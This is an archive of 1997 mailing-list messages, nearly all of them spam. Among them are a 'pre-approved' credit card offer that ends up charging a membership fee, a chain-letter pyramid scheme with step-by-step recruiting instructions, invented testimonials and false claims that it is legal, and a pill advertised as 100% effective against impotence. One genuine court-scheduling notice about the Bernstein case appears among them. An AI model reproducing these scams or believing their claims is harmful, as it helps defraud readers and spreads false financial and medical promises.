ANNUAL FEE: NONE
APR: 11.99%

DEAR FUTURE CARD HOLDER:

Congratulations! You have been approved for a $2,500.00
unsecured credit line from the Financial Card Division of CCS 
regardless of past credit.

Your approval number is 501-7046176 and your Approved credit
line of $2,500.00 for credit purchase and cash advances will be
available once your receive you CashPlus card* just by calling now!

As a membership benefit, you will be processed** for an unsecured 
major credit card with a credit line of up to $1,000.00 regardless 
of past credit.

SEND NO MONEY NOW- There is NO SECURITY OR MONEY DEPOSITS 
required! Call IMMEDIATELY with the approval number to activate your
membership and its benefits.

BY ACTING NOW- We'll assign your CashPlus Card within the next 48
hours and then apply your one-time membership fee by the payment method
you prefer and give you $100.00 off your first credit purchase of over 
$200.00 with the CashPlus Card just by calling now!

Getting more credit is as simple as calling us today to activate your 
membership and obtain your pin code for cash advances before your
approval expires. So get the credityou deserve - CALL NOW -  100%
Quality assurance and no less!

CALL RIGHT NOW!
********** 1- (702) 256-3000 **********
FOR IMMEDIATE ACTIVATION AND
TO ESTABLISH YOUR CREDIT TODAY!


THIS IS A ONE TIME MAILING, PLEASE DO NOT
SEND A REMOVE REQUEST AS YOU WILL NEVER
BE SENT ANOTHER OFFER.
**************************************************************
Consumer Credit Services Inc. hereby known as CCS is 
not affiliated with any bank(s)referred to the consumer by 
CCS. CCS is a credit card referral service and does not issue
any major credit cards to the consumer. Some banks require
annual or processing fees ranging from twenty to one hundred dollars.
(  *CCS does issue the CashPlus card only to its shopping club
members without any fees or charges and is subject to terms and
conditions set forth by CCS.)  ( ** Processing signifies receiving 
and application directly from a financial institution).

Offer not available in Nevada, Wisconsin, Iowa, Connecticut, North Carolina.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cindy Cohn <Cindy@mcglashan.com>
Date: Sat, 25 Oct 1997 21:51:05 -0700 (PDT)
To: sbyrne@tmjb.com
Subject: Bernstein oral argument set for December 8
Message-ID: <199710260417.VAA05536@gw.quake.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi all,

The 9th Circuit  Court of Appeals has set the specific date and time for the
oral argument.  It will be on Monday December 8, 1997 on the 1:30 p.m.
calendar.   It will be held in Courtroom 1.

The 9th Circuit is located at  95 Seventh Street in San Francisco.

There are 5 cases scheduled for the yet-unknown panel.  The first 3 are
limited to 10 min oral arg per side.  The other two (us included) get 20
min per side.

Cases are generally heard in order so as it stands we would be last.

Cindy
************************ 
Cindy A. Cohn                                                               
McGlashan & Sarrail, P. C.
177 Bovet Road, 6th Floor                                            
San Mateo, CA  94402
(415) 341-2585 (tel)
(415)341-1395 (fax)
Cindy@McGlashan.com
http://www.McGlashan.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: highxt@juno.com
Date: Sun, 26 Oct 1997 16:11:19 -0800 (PST)
To: vips@aol.com
Subject: $4370.00 a month for LIFE!!!!
Message-ID: <1934352792GAA46578@clisonnero.acl.ul.jp>
MIME-Version: 1.0
Content-Type: text/plain


To be removed from our list HIT REPLY and type "remove" in the subject.


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HOW TO EARN A MONTHLY INCOME OF $4,370.00 or MORE FOR LIFE
JUST BY GIVING AWAY FREE CALLING CARDS!
(YOU'LL EARN A COMMISSION EVERY SINGLE TIME A CARD
YOU GIVE AWAY IS USED. WE NEED YOU!)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


And we are willing to pay you handsomely for your help.
Listen, I know your time is valuable, so I'll cut right
to the chase... We need enterprising people like you who
are interested in earning a RESIDUAL MONTHLY INCOME just
for giving away something of real value.

**ALSO, MAKE $20.00 FAST START BONUS FOR EVERY
DISTRIBUTOR YOU SIGN UP!!!***

This is truly a great opportunity.
SKYCOM has made it easy for anyone to make money.
****THE INSIDE EDGE LETTER****

Thats right! WE WILL PAY YOU  very well simply for helping
us give away our FREE calling cards.  And you will earn a great commission every single time the cards are used --
weeks, months , even years after you give them away! Of
 course the obvious question you must have now is....
How am I going to make money giving away something for free?
Well that is a very good question, Fortunately, we have
a very good answer.

Actually, the answer is very simple...

<HTML><PRE>CLICK HERE TO CONTINUE!!! </PRE></HTML>
    (allow approx.10 seconds to load)

OR Simply point your Web Browser to:
http://www.mega-money.com/skycom2.htm















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: web-promotions@nevwest.com
Date: Mon, 27 Oct 1997 09:52:41 -0800 (PST)
To: web-promotions@nevwest.com
Subject: IF YOU NEED FREE HITS, I THINK WE C
Message-ID: <199710271634.LAA21460@mail0.tor.acc.ca>
MIME-Version: 1.0
Content-Type: text/plain


Join the SexSwap Team and get MORE FREE HITS within minutes

SEXSWAP IS THE LARGEST ADULT BANNER EXCHANGE
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Now almost 1,000 active members ACTIVE!
We clear out all dead accounts weekly to make the system FASTER!

SEXSWAP IS THE FASTEST BANNER EXCHANGE
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Serving 800,000 banners a day at 10 banners a second...this ain't no 
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console based poser-exchange.

THE FASTEST BANDWIDTH MEANS YOU GET THE MOST HITS
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Traceroute www.sexswap.com and then traceroute any of our competition and
see which site is 7 hops coast to coast with the fastest hop times.

SEXSWAP HAS THE BEST MEMBERS WITH THE BEST BANNERS
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Several members are banner getting 30%+ click thrus...not 12%...not 
15%...not
20...our members know how to crank the volume up to 32.9%...join and 
learn theie secrets.

MULTIPLY YOUR SHOWINGS!
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Sign up for several accounts and place the code on every page of your site
and get Mega-showings...and even test multiple banners!
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Let's face it, the adult market has over 7 banner exchanges and maybe 20
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COMPARE US TO THE COMPETITION! 
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Drop by and check out the professionalism of the SexSwap site vs. 
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Traceroute www.sexswap.com vs. the ompetition
Page refresh SexSwap vs. the competition
And here is the BIGGEST TEST of them all...email me andy@sexswap.com 
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and see how long it takes me to email you back. Most people are 
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that I usually write back within three hours and many members get a 
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within 30 minutes! I always write back! I will upload your banner,
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/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
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Click here to JOIN the SexSwap
http://www.sexswap.com/join.htm

Click here to see the TOP100 King-Pins
http://www.sexswap.com/top100.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: opportunity@anywhere.com
Date: Fri, 31 Oct 1997 22:41:44 -0800 (PST)
To: beef.SPAM@rigel.cyberpass.net
Subject: $36,000 in 3 months!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


            << Just what you needed, just when you needed it! >>

   The main reason for this letter is to convince you that this system is
 honest, lawful, extremely profitable, and is a way to get a large amount
 of money in a short time.  I was approached several times before I checked
 this out.  I joined just to see what one could expect in return for the minimal
 effort and money required.  Initially I let no one in the organization know
 that I was an attorney and, to my astonishment, I received $36,470.00 in
 the first 14 weeks, with money still coming in.
                                 Sincerely yours, Phillip A. Brown



                         "Please Read This Twice!"

 Dear friend,

 =========================================================
 =========================================================
 This is a "ONE-TIME MESSAGE"  you were randomly selected to receive this.
 There is no need to reply to remove, you will receive no further mailings from us.
 If you have interest in this GREAT INFORMATION,  please do not click reply,
 use the contact information in this message.  Thank You! :-)
 =========================================================
 =========================================================

              *** Print This Now For Future Reference ***

 The following income opportunity is one you may be intersested in  taking a
 look at. It can be started with VERY LITTLE investment and the income return
 is TREMENDOUS!!!

 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

 You are about to make at least $50,000 in less than 90 days!
 Please read the enclosed program...THEN READ IT AGAIN!!!

 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


 This is a MONEY-MAKING PHENOMENON. PRINT this letter, read the
 program...  THEN READ IT AGAIN !!!

 You are looking at the most profitable and unique program you may ever
 see.  It has demonstrated and proven ability to generate large sums of
 money.  This program is showing fantastic appeal with a huge and ever
 growing population which needs additional income.

 This is a legitimate LEGAL money-making opportunity.  It does not
 require you to come in contact with people, do any hard work, and best
 of all, you never have to leave the house, except to get the mail.  If you
 believe that some day you will get that lucky break that you have been
 waiting for, THIS IS IT!  Simply follow the easy instructions, and your
 dream will come true!  This electronic multi-level marketing program works 
 perfectly...100% EVERY TIME!

 Thousands of people have used this program to raise capital to start their
 own business, pay off debts, buy homes, cars, etc., even retire! This is
 your chance, so don't pass it up.

                 OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC
                        MULTI-LEVEL MARKETING PROGRAM

 Basically, this is what we do:  We sell thousands of people a product for
 $5.00 that costs us next to nothing to produce and e-mail.  As with all
 multi-level businesses, we build  our business by recruiting new partners
 and selling our products.  Every state in the U.S. allows you to recruit
 new multi- level business online (with your computer).

 The product in this program is a series of four businesses and financial
 reports.  Each $5.00 order you receive by "snail mail" will include the e-mail
 address of the sender.  To fill each order, you simply e-mail the product to
 the buyer.  THAT'S IT!...the $5.00 is yours!  This is the GREATEST
 electronic multi-level marketing business anywhere!

 FOLLOW THE INSTRUCTIONS EXACTLY!
 Let's face it, the profits are worth it!  THEY'RE TREMENDOUS!!!
 So go for it.  Remember the 4 points and we'll see YOU at the top!


         ******* I  N  S  T  R  U  C  T  I  O  N  S *******

 This is what you MUST do:

 1.  Order all 4 reports listed and numbered from the list below.
     For each report send $5.00 CASH, YOUR E-MAIL ADDRESS and YOUR
     RETURN POSTAL ADDRESS (in case of a problem) to each person listed.
     When you order, make sure you request each SPECIFIC report.  You
     will need all four reports, because you will be saving them on
     your computer and reselling them.

 2.  IMPORTANT--DO NOT alter the names, or their sequence other than
     instructed in this program! Or you will not profit the way you
     should.

     Replace the name and address under REPORT #1 with yours, moving
     the one that was there down to REPORT #2.  Move the name and
     address under REPORT #2 to REPORT #3.  Move the name and address
     under REPORT #3 to REPORT #4.  The name and address that was under
     REPORT #4 is dropped off the list and is NO DOUBT on the way to
     the bank.

     When doing this, please make certain you copy everyone's name and
     address ACCURATELY!!!  Also, DO NOT move the Report/Product
     positions!

 3.  Take this entire program text, including the corrected names list,
     and save it on your computer.

 4.  Now you're ready to start a massive advertising campaign on the
     WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
     but there are HUNDREDS of FREE places to advertise also.  Another
     avenue which you could use is e-mail mailing lists.  You can buy
     these lists for under $20/1,000 addresses.  START YOUR AD CAMPAIGN
     AS SOON AS YOU CAN.

 ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

                              REQUIRED REPORTS

 ***Order each REPORT by NUMBER and NAME***

ALWAYS SEND  $5 CASH (concealed) FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY 
NAME AND NUMBER. ALWAYS SEND FIRST CLASS OR PRIORITY MAIL AND PROVIDE YOUR E-MAIL ADDRESS 
FOR QUICK DELIVERY.

___________________________________________________

 REPORT #1       
 "HOW TO MAKE $250,000 THROUGH MULTILEVEL SALES"

 ORDER REPORT #1 FROM:
 Pammy Group
 P.O. Box 460123
 St. Louis, MO 63146-7123
 ___________________________________________________

 REPORT #2
 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

 ORDER REPORT #2 FROM:
 MAKIN-MOOLA
 P.O. BOX 271926
 Fort Collins, CO 80527-1926   U.S.A.
  ___________________________________________________
 REPORT #3
 "SOURCES FOR THE BEST MAILING LISTS"

 ORDER REPORT #3 FROM:
 MY-TURN
 P.O. BOX 272453
 Fort Collins, CO 80527-2453   U.S.A.
 ____________________________________________________
 REPORT #4
 "EVALUATING MULTI-LEVEL SALES PLANS"

 ORDER REPORT #4 FROM:
 CPS
 P.O.Box 50173
 PROVO, UT 84605-0173

 ____________________________________________________

             HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

 Let's say you decide to start small just to see how it goes.  Assume
 your goal is to get 10 people to participate on your first level.
 (Placing a lot of FREE ads on the internet could EASILY get a better
 response.)  Also assume that everyone else in YOUR BUILDING ORGANIZATION
 gets ONLY 10 downline members.  Follow this example for the STAGGERING
 results below.

 1st level --  your 10 members with $5		($5 x     10)	$    50
 2nd level -- 10 members from those 10		($5 x    100)	$   500
 3rd level -- 10 members from those 100		($5 x  1,000)	$ 5,000
 4th level -- 10 members from those 1,000	($5 x 10,000)	$50,000
								-------
                                 THIS TOTALS----------->        $55,550
								-------

 Remember friends, this is assuming that the people who participate
 only recruit 10 people each.  Dare to think for a moment what would
 happen if everyone got 20 people to participate!  Some people get
 100's of recruits!  THINK ABOUT IT!

 By the way, your cost to participate in this is practically nothing.
 You obviously already have an internet connection and email is FREE!!!
 REPORT#3 will show you the best methods for bulk emailing and purchasing
 email lists.

 REMEMBER:  Approx. 50,000 new people get online monthly!

                          ORDER YOUR REPORTS NOW!!!



                       *******TIPS FOR SUCCESS*******

 TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY,
 so you will have them when the orders start coming in because:
 When you receive a $5 order, you MUST send out the requested product/
 report to comply with the U.S. Postal & Lottery Laws, Title 18,
 Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code,
 also Code of Federal Regs. vol. 16, Sections 255 and 436, which
 state that "a product or service must be exchanged for money received."

 *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

 *  Be patient and persistent with this program.  If you follow the
    instructions exactly the results WILL undoubtedly be SUCCESS!

 *  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!


                    *******YOUR SUCCESS GUIDELINE*******

         The check point that guarantees your success is simply this:
 You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!  If
 you don't within two weeks, advertise more and send out more programs
 until you do.  Then, a couple of weeks later you should receive at
 least 100 orders for REPORT #2.  If you don't, advertise more and send
 out more programs until you do.  Once you have received 100, or more
 orders for REPORT #2, YOU CAN RELAX, because you will be on your way
 to the BANK!  -OR-  You can DOUBLE your efforts!

 REMEMBER:  Every time your name is moved down on the list you are in
 front of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS
 by what report people are ordering from you. IT'S THAT EASY!!!

 NOTE:  IF YOU NEED HELP with starting a business, registering a business
 name, how income tax is handled, etc., contact your local office of the Small 
 Business Administration (a Federal agency) for free help and answers to
 questions.  Also, the Internal Revenue Service offers free help via telephone
 and free seminars about business taxes.



         ******* T  E  S  T  I  M  O  N  I  A  L  S *******

 This program does work, but you must follow it EXACTLY! Especially the
 rule of not trying to place your name in a different position, it won't work,
 you'll lose a lot of money.  I'm living proof that it works.  It really is a great
 opportunity to make relatively easy money, with little cost to you.  If you
 do choose to participate, follow the program exactly, and you'll be on your
 way to financial security.  If you are a fellow Christian and are in financial
 trouble like I was, consider this a sign.  I DID!
                                         Good Luck & God Bless You,
                                         Sincerely, Chris Johnson

 P.S.  Do you have any idea what 11,700 $5 bills ($58,500) looks
 like piled up on the kitchen table?...IT'S AWESOME!

         My name is Frank.  My wife Doris and I live in Bel-Air, MD.
 I am a cost accountant with a major U.S. Corporation and I make
 pretty good money.  When I received the program I grumbled to Doris
 about receiving "junk mail"!  I made fun of the whole thing, spouting
 my knowledge of the population and percentages involved.  I "knew" it
 wouldn't work.  Doris totally ignored my supposed intelligence and
 jumped in with both feet.  I made merciless fun of her, and was ready
 to lay the old "I told you so" on her when the thing didn't work...
 well, the laugh was on me!  Within two weeks she had received over 50
 responses.  Within 45 days she had received over $147,200 in $5 bills!
 I was stunned.  I was sure that I had it all figured and that it wouldn't
 work...I AM a believer now.  I have joined Doris in her "little" hobby. I did
 have seven more years until retirement,  but I think of the "rat race" and
 it's not for me...We owe it all to MLM.
                                         Frank T., Bel-Air, MD

 I just want to pass along my best wishes and encouragement to you.
 Any doubts you have will vanish when your first orders come in.  I even
 checked with the U.S. Post Office to verify that the plan was legal.
 It definitely is!  IT WORKS!!!
                                         Paul Johnson, Raleigh, NC

 This is the only realistic money-making offer I've ever received.  I
 participated because this plan truly makes sense. I was surprised
 when the $5.00 bills started filling my mail box. By the time it tapered
 off I had received over 8,000 orders with over $40,000 in cash.  Dozens
 of people have sent warm personal notes too, sharing the news of their
 good fortunes!  It's been WONDERFUL.
                                         Carl Winslow Tulsa, OK

 The main reason for this letter is to convince you that this system is
 honest, lawful, extremely profitable, and is a way to get a large amount
 of money in a short time.  I was approached several times before I checked
 this out.  I joined just to see what one could expect in return for the minimal
 effort and money required.  Initially I let no one in the organization know
 that I was an attorney and, to my astonishment, I received $36,470.00 in
 the first 14 weeks, with money still coming in.
                                 Sincerely yours, Phillip A. Brown

 This plan works like GANG-BUSTERS!! So far I have had 9,735 total orders
 OVER $48,000!!!  I hope I have sparked your own excitement, if you follow
 the program exactly, you could have the same success I have, if not better.
 Your success is right around the corner, but you must do a little work.
                                         Good Luck!  G. Bank

         Not being the gambling type, it took me several weeks to make
 up my mind to participate in this plan.  But conservative that I am
 I decided that the initial investment was so little that there was
 just no way that I wouldn't get enough orders to at least get my money
 back.  Boy I was surprised when I found my medium-size post office box
 crammed with orders.  After that it got so over-loaded that I had to
 start picking up my mail at the window.  I'll make more money this
 year than any 10 years of my life before.  The nice thing about this
 deal is that it doesn't matter where in the U.S. the people live.
 There simply isn't a better investment with a faster return.
                                 Mary Rockland, Lansing, MI

         I had received this program before.  I deleted it, but later
 I wondered if I shouldn't have given it a try.  Of course, I had no
 idea who to contact to get another copy, so I had to wait until I
 was e-mailed another program...11 months passed then it came...I
 didn't delete this one!...I made $41,000 on the first try!!
                                         D. Wilburn, Muncie, IN

         This is my third time to participate in this plan.  We have
 quit our jobs, and quite soon we will buy a home on the beach and live
 off the interest on our money.  The only way on earth that this plan
 will work for you is if you do it.  For your sake, and for your family's
 sake don't pass up this golden opportunity.  Remember, when you order
 your four reports, SEND CASH.  Checks have to clear the bank and create
 too many delays.  Good luck and happy spending!
                                         Charles Fairchild, Spokane, WA

         Typically when I look at a money-making deal I want to
 know if the company is strong, will it be here when it's time for
 my big pay off.  In this crazy thing there is no company intervention
 for management to blow it.  Just people like me ordering directly
 from the source!  Interesting...I had a couple of projects I'd been
 trying to fund to no avail so I thought; Why not give it a try?  Well
 2 1/2 weeks later the orders started coming in.  One project is funded
 and I'm sure the other will be soon!
                                         Marilynn St. Claire, Logan, UT

 ====================================================

               We could be printing YOUR testimonial next!!!

                      ORDER YOUR REPORTS TODAY AND GET
                        STARTED DOWN THE ROAD TO YOUR
                            FINANCIAL FREEDOM!!!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: orchardshop@juno.com
Date: Tue, 28 Oct 1997 02:29:25 -0800 (PST)
To: caring@family.com
Subject: YOU ARE NOT SAFE !!!
Message-ID: <199710280959.EAA18846@bmg.bmg.com>
MIME-Version: 1.0
Content-Type: text/plain


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Did you know that each year 51 out of every 1000 Americans are the victim of
violent crime?   That's a 1 in 20 chance of YOU being attacked THIS YEAR!  If
you're like me, you don't like those odds.

There are over 2.6 million burglaries in the U.S. every year.  The scary
fact of the matter is that it doesn't always happen to the "other guy."  If
you don't take the proper precautions it could happen to you.

That's where our new report "Personal Security Basics" comes in.  This unique
report gives you a hands on, common sense approach to protecting yourself,
your family, and your assets.

The cost of this report is just $4.95 with nothing more to buy....ever.  It
even comes with a money back guarantee!  This report shares little known
criminal techniques....and how to protect yourself against them.  It also
shows you how a criminal identifies you as a prospective victim.  

For a free sample of the type of information you will find in this report, as
well as ordering information click here--> Be Safe and Protect Your Assets! 

This is not a scam to join a multi level marketing plan, you will not be
added to any list.  It is simply an opportunity for you to protect yourself
and your family from a world with an ever increasing crime rate.  
For only $4.95...can you afford NOT to be safe?

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: doorlist@doors.com
Date: Tue, 28 Oct 1997 15:46:50 -0800 (PST)
To: doorlist@doors.com
Subject: Strange Days Vol. 2
Message-ID: <199710282342.QAA26836@quasar.fiber.net>
MIME-Version: 1.0
Content-Type: text/plain




    WELCOME  to The Doors Collectors Magazines
             Strange Days News Emailer! Vol. 2
 
              The Celebration has just begun:

----For removal instructions, please see end of newsletter----


CONTENTS:
	 1. The Doors Box Set is in the stores TODAY!!!
	 2. Doors Web Ring Ranks 15th Largest!
	 3.  Lycos Top 5%!  We're in!
	 4.  New Doors Memorabilia List On-Line News
	 5.  Strange Days Specials


>>>>>1. The Doors Box Set is in the stores TODAY!!!

Today, October 28th, 1997 is the first day that millions of Doors fans will finally be able to get their hands on a copy of The Doors long awaited box set. The media blitz across the nation has caused such a surge on our web site that it slowed downloads down to a halt earlier yesterday. Thanks to the quick response of our ISP (Fibernet, Inc) we have bolstered the site to withstand anything that can hit us today!  Check us out at     
              http://www.doors.com
Included in all the promotion is a new three hour long syndicated radio show (Without a Safety Net) about The Doors aired within the last two days and hundreds of classic rock radio stations played Doors block parties all weekend long to honor this auspicious occasion.  

Those of you who live in NYC might want to call Tower Records for details because all three Doors will be signing box sets today! For those fans back in Los Angeles be sure to go to the Tower Records on Sunset next Saturday for the same opportunity.   On a personal note: I would love to buy any spare copies of  the box set that are signed by all three Doors, so if you get the chance... why not help me out and help pay for your own box set at the same time! Email me for details at: kerry@doors.com

For those of you asking about price: The list price is $69 but many large record chains are celebrating the release with special prices... The lowest I've seen so far is $45

Ever since the set list was released (http://www.doors.com/sd.html) I've had tons of emails asking questions about the box set...but the one question that I have been asked repeatedly and had no answer for was why the song "Paris Blues" whose lyrics appeared in Danny Sugerman's "Illustrated Lyrics" book was not to be on the box set song line up?  So at the press conference earlier this month, I grabbed the microphone and asked the question.   Ray offered an explanation saying that the song just didn't make the cut. Plain and simple.

But don't worry!   The box set kicks a big ass!  I can't even tell you how excited that I am for the fans to hear some of the incredible tunes represented on the set. PICK IT UP!   IT'S AT YOUR LOCAL CD STORE TODAY!!!!



>>>>>2. Doors Web Ring Ranks 15th Largest!

The WebRing of The Doors which is sponsored by The Doors Collectors Magazine has now skyrocketed to being the 15th largest music related WebRing on the net!  We recently too k out the Hanson WebRing (MmmmBop!  Two thumbs up for this!!!) Check out the WebRing of The Doors at:
http://www.doors.com/webring/



>>>>>3.  LYCOS TOP 5% OF ALL WEB SITES NOW INCLUDES OUR SITE!

The Doors Collectors Magazine (http://www.doors.com) has made it to the Lycos Top 5% of all web sites!  Check out our site's review below. I think most of it is pretty good!:

This online version of the print magazine contains a trunk full of articles, interviews and beautiful loser trinkets. The Stones have a credit card; the Doors have an e-mail address: doors.com. It's not all just Lizard King worship, either. DCM focuses on the band's music, life and career rather than simply deifying Jim Morrison. True believers can trade concert tapes, check in on tribute bands, and read back issues. Big Picture projects: mounting a campaign to strike Morrison's criminal record for his alleged exhibitionism on a Miami stage. A slavish yet seductive entrance to the Doors web ring. 
	


>>>>>4.   New Doors Memorabilia List On-Line News

We just updated our on-line memorabilia list with over 150 new illustrations of all kinds of Doors memorabilia!  Never before has it been easier to see what you need before ordering.  Our secure order site makes it safe for you to sit at home and find those hard to find Doors items that you've been looking for. 

Coming Soon:  An online form for you to submit your want lists to us!



>>>>>5.  Strange Days Specials (Good until October 31, 1997 only when you mention this ad) Regular postage rates apply.

 ***'They Died Too Young: Jim Morrison' by Jon E. Lewis (UK) Out of print miniature pocket book entirely on Morrison. Cond: M Regularly $15 now just $10!
	http://www.doors.com/door_mem/books/index.html

***'This is Happening' underground newspapers from 1967-68. Every issue (but #3) had some Doors related article or teaser. Now till Oct. 31 take 20% off each issue's price. Supplies may be limited since I only have 5 copies of each!
	http://www.doors.com/door_mem/magazines/index.html

***'Jim Morrison's Testimony from Miami Obscenity Trial'  49 pages of rare transcripts in a deluxe binder. Find out for yourself what Jim said on the witness stand. Excellent quality and extremely interesting! Regularly $8 now just $5!
	http://www.doors.com/door_mem/books/index.html

***'Creem (Summer '81) Doors Special Edition'  Entire issue devoted to The Doors. Over 50 photos. Some never seen before! Reflections from close friends. New interviews and more! Out of stock for over a year! RARE! Cond: M. Regularaly $125 now just $100!
	http://www.doors.com/door_mem/magazines/creem_se.html

***For Hard Core Fans:  One FREE 90 minute cassette volume from our trade list for every $100 spent on Doors memorabilia from our memorabilia list at:
	http://www.doors.com/door_mem/
Or you can check out our list of audio cassette tapes for trade at:
	http://www.doors.com/liveshow/

***Attention European Doors fans:  We now have capabilities to dub videos from our trade list directly in PAL at no additional cost (trade value).


	THIS IS THE END MY FRIEND... TILL NEXT TIME!

Kerry
kerry@doors.com



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Thanks you for reading The Doors Collectors Magazine's Strange Days Email 
Newsletter. If you have received this newsletter in error, please just 
return this message back to doorlist@doors.com with "REMOVE" in the 
subject heading. DO NOT RESPOND to this email address unless you want to 
be removed from future emailings of our newsletters.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? x  <22724924@juno.com>
Date: Tue, 28 Oct 1997 23:28:12 -0800 (PST)
To: 0123123@aol.com
Subject: Free Home Security System
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 68363368@gte.net
Date: Wed, 29 Oct 1997 01:41:15 -0800 (PST)
To: Friend@public.com
Subject: Thanksgiving Cookbook
Message-ID: <199702170025.GAA08056@gte.net>
MIME-Version: 1.0
Content-Type: text/plain




                                               DJ Zip Publishing Co.
                                               PO Box 461670
                                               Los Angeles, CA 90046


Would you like to make this Thanksgiving holiday unforgettable for your family and friends?  
Than do it with our magic Thanksgiving Cookbook!

More people go home for Thanksgiving than for any other holiday, most of them looking forward to nothing more than a good meal and the companionship of immediate and extended family and friends.

DJ Zip Publishing Co. would like to present you with special offer of the new Thanksgiving Cookbook.  More than 40 recipes are included in this publication for all of your traditional Thanksgiving favorites.  Thanksgiving Cookbook is divided into seven categories, such as:
Appetizers, Soups, Vegetables, Stuffing, Poultry, Gravies & Sauces, and Deserts.

In addition, you will be provided with the information on how to create a delicious Thanksgiving dinner for Party of 6, 8, 12, and 18.
And you can get this fabulous Thanksgiving Cookbook for just $10 (S&H included)

Don't wait, Thanksgiving is just around the corner!  

If you would like to purchase this publication please fill out the order form today!


ORDER FORM

Name __________________________________________
Address_________________________________________
City___________________State___________Zip_______

Method of Payment:

O  Check
O  Money Order
O  Cash

Please note that all orders will be supplied within 4 to 5 days.


Thank you and have a great Thanksgiving!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ncsofga@ix.netcom.com (NCS, INC)
Date: Wed, 29 Oct 1997 17:42:22 -0800 (PST)
To: ncsofga@ix.netcom.com
Subject: ADVERTISEMENT: MEN IMPROVE YOUR PERFORMANCE
Message-ID: <199710291999SAA51491@post.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


A SIMPLE CHEMICAL CAN KEEP YOU ERECT!!!

     When the New England Journal of Medicine reported that the cause 
of most cases of male impotence was tied to the body's failure to 
produce enough of a simple chemical, our research team immediately 
went to work.  And, while other researchers were getting 
congratulations for discovering the cause of the important male 
problem, we developed a product that could be capable of restoring a 
man's performance and self-confidence.

     The researchers found a shortage of this chemical would keep a 
man from performing his sexual activities at a normal level.  For an 
erection to occur, a rapid increase of blood flow must enter the 
penis, causing the vessels to enlarge in diameter.  The results will 
be an erection which can be maintained.  Without sufficient amounts 
of this chemical, the penis is unable to get and stay erect.  FORMULA 
41 lets your body increase its production of this sexually vital 
chemical.  With FORMULA 41 you are able to achieve peak performance 
every time.  The results will astound you.  Even if you're not one of 
the 30 million men diagnosed with some form of impotence, you will be 
able to reach new heights of sexual performance and potency with 
FORMULA 41.

     FORMULA 41 is the one product that is finally able to deliver 
and provide help for men who suffer from inadequate sexual 
performance.

     Try FORMULA 41 today.  All you stand to lose is the uncertainty 
and disappointment of inadequate erections and unsatisfactory sexual 
performance.

   THE ANSWER TO A MAN'S MOST IMPORTANT PROBLEM IS HERE.





                      UNCONDITIONAL GUARANTEE
FORMULA 41 has been clinically and customer tested for 100% 
effectiveness and safety for impotency, and lack of sexual 
fulfillment.  It should work for you.  However, if, for any reason, 
you are not completely satisfied with this product just return the 
unused portion or empty bottle along with proof of purchase within 60 
days for a full refund of your purchase price.

















To Order FORMULA 41, please mail to:
     Order Dept.
     PO Box 1242
     Snellville, Ga 30278-1242

Enclosed is my check or money order for $__________, Payable to NCS.

Name__________________________________________________
Address_______________________________________________
City, State Zip_______________________________________



Description			Price		How Many
Two Month Supply		$54.95      ________ 

Three Month Supply	$69.95      ________

One Month Supply		$34.95      ________ 

                    				Sub Total
	                 		            Postage &  	
		                 			Handling    $5.00
Srfsm                                     
							Total      ______
 
              







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Keith34@aol.com (Combined Resource Technology)
Date: Wed, 29 Oct 1997 19:27:16 -0800 (PST)
To: Keith34@aol.com
Subject: YOU...at the TOP of the pyramid!
Message-ID: <199710291387BAA45227@post.unite.net>
MIME-Version: 1.0
Content-Type: text/plain



Yes... that can be you at the top... and...
not just the top of another scam pyramid.... but a
great product that all mlmers can use!
a monthly business journal with conference calls,
chat groups, and newsgroups that help you succeed in the
program of your choice!

Access to a web site with hundreds of free offers and items of 
particular interest to networkers!

A 3x9 forced matrix that has a 50% matching sponsor bonus
and a 33% payout on the first level to keep the little guy in!
=================================================
